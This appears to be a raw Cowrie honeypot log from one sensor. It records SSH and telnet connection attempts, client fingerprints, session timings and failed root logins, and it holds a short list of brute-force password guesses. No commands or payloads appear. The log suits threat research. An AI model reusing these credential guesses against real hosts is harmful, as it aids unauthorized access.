{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55880,"dst_ip":"10.17.0.5","dst_port":23,"session":"a74d1d8526f7","protocol":"telnet","message":"New connection: 192.119.13.58:55880 (10.17.0.5:23) [session: a74d1d8526f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:47.836484Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaye","message":"login attempt [root/jaye] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:48.169738Z","src_ip":"186.4.240.226","session":"ce002ea4984f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:49.263568Z","src_ip":"186.4.240.226","session":"ce002ea4984f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.89017915725708,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:51.401437Z","src_ip":"192.119.13.58","session":"b71de1b4af05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.90992331504822,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:55:59.346295Z","src_ip":"192.119.13.58","session":"d838716e976d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.52534484863281,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:04.123993Z","src_ip":"192.119.13.58","session":"63f5aaa9393d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":47304,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1f77d8bed5f","protocol":"ssh","message":"New connection: 103.15.222.183:47304 (159.203.135.109:22) [session: f1f77d8bed5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:06.766859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:06.772774Z","src_ip":"103.15.222.183","session":"f1f77d8bed5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:07.014543Z","src_ip":"103.15.222.183","session":"f1f77d8bed5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:07.731917Z","src_ip":"103.15.222.183","session":"f1f77d8bed5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55058,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea1d6e79c209","protocol":"telnet","message":"New connection: 192.119.13.58:55058 (10.17.0.5:23) [session: ea1d6e79c209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:08.890328Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:08.972926Z","src_ip":"103.15.222.183","session":"f1f77d8bed5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35334,"dst_ip":"10.17.0.5","dst_port":23,"session":"cea61f762e47","protocol":"telnet","message":"New connection: 192.119.13.58:35334 (10.17.0.5:23) [session: cea61f762e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:18.317755Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43506,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f3bdfd1b67d","protocol":"telnet","message":"New connection: 192.119.13.58:43506 (10.17.0.5:23) [session: 1f3bdfd1b67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:20.378817Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34884,"dst_ip":"10.17.0.5","dst_port":23,"session":"de6bf691ef46","protocol":"telnet","message":"New connection: 192.119.13.58:34884 (10.17.0.5:23) [session: de6bf691ef46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:25.258707Z"}
{"eventid":"cowrie.session.closed","duration":41.635183334350586,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:27.200490Z","src_ip":"192.119.13.58","session":"bc21ad45976c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.09943914413452,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:29.330483Z","src_ip":"192.119.13.58","session":"16916ef81534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.796820640563965,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:30.543731Z","src_ip":"192.119.13.58","session":"d5e26ca426f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.807812213897705,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:32.795468Z","src_ip":"192.119.13.58","session":"f0bc901de452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.26104259490967,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:35.097407Z","src_ip":"192.119.13.58","session":"a74d1d8526f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":40194,"dst_ip":"159.203.135.109","dst_port":22,"session":"efd1d1c808f5","protocol":"ssh","message":"New connection: 170.106.188.200:40194 (159.203.135.109:22) [session: efd1d1c808f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:44.869355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:44.873654Z","src_ip":"170.106.188.200","session":"efd1d1c808f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:44.940976Z","src_ip":"170.106.188.200","session":"efd1d1c808f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alena","message":"login attempt [root/alena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:45.245795Z","src_ip":"170.106.188.200","session":"efd1d1c808f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:46.317209Z","src_ip":"170.106.188.200","session":"efd1d1c808f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.490211486816406,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:49.380248Z","src_ip":"192.119.13.58","session":"ea1d6e79c209","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.940953493118286,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:55.319629Z","src_ip":"192.119.13.58","session":"1f3bdfd1b67d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50070,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d6588355a5e","protocol":"ssh","message":"New connection: 87.251.79.125:50070 (10.17.0.5:22) [session: 9d6588355a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:59.441049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:59.446201Z","src_ip":"87.251.79.125","session":"9d6588355a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:59.518275Z","src_ip":"87.251.79.125","session":"9d6588355a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm12","message":"login attempt [root/zxcvbnm12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:59.732377Z","src_ip":"87.251.79.125","session":"9d6588355a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.44398045539856,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:56:59.761590Z","src_ip":"192.119.13.58","session":"cea61f762e47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:00.807697Z","src_ip":"87.251.79.125","session":"9d6588355a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.106.58.69","src_port":57356,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a357ceb7285","protocol":"telnet","message":"New connection: 91.106.58.69:57356 (159.203.135.109:23) [session: 1a357ceb7285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:02.182163Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":44224,"dst_ip":"159.203.135.109","dst_port":22,"session":"33c5f0df2efe","protocol":"ssh","message":"New connection: 103.101.216.219:44224 (159.203.135.109:22) [session: 33c5f0df2efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:04.438387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:04.443413Z","src_ip":"103.101.216.219","session":"33c5f0df2efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:04.693342Z","src_ip":"103.101.216.219","session":"33c5f0df2efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terraria","message":"login attempt [root/terraria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:05.726889Z","src_ip":"103.101.216.219","session":"33c5f0df2efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:06.988894Z","src_ip":"103.101.216.219","session":"33c5f0df2efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.87804436683655,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:11.136626Z","src_ip":"192.119.13.58","session":"de6bf691ef46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":41232,"dst_ip":"159.203.135.109","dst_port":22,"session":"7734a17b29f8","protocol":"ssh","message":"New connection: 186.4.240.226:41232 (159.203.135.109:22) [session: 7734a17b29f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:11.286321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:11.291355Z","src_ip":"186.4.240.226","session":"7734a17b29f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:11.379364Z","src_ip":"186.4.240.226","session":"7734a17b29f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angel123","message":"login attempt [root/angel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:11.760478Z","src_ip":"186.4.240.226","session":"7734a17b29f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:12.851559Z","src_ip":"186.4.240.226","session":"7734a17b29f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.549387216567993,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:14.731327Z","src_ip":"91.106.58.69","session":"1a357ceb7285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38090,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cb2b5275ff0","protocol":"ssh","message":"New connection: 103.82.132.16:38090 (10.17.0.5:22) [session: 1cb2b5275ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:15.227138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:15.234344Z","src_ip":"103.82.132.16","session":"1cb2b5275ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:15.496198Z","src_ip":"103.82.132.16","session":"1cb2b5275ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agent007","message":"login attempt [root/agent007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:16.275673Z","src_ip":"103.82.132.16","session":"1cb2b5275ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:17.537492Z","src_ip":"103.82.132.16","session":"1cb2b5275ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41668,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c9771661760","protocol":"telnet","message":"New connection: 192.119.13.58:41668 (10.17.0.5:23) [session: 9c9771661760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:22.147942Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33258,"dst_ip":"10.17.0.5","dst_port":22,"session":"29befe6f648b","protocol":"ssh","message":"New connection: 109.237.96.109:33258 (10.17.0.5:22) [session: 29befe6f648b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:36.570730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:57:36.575493Z","src_ip":"109.237.96.109","session":"29befe6f648b","protocol":"ssh"}
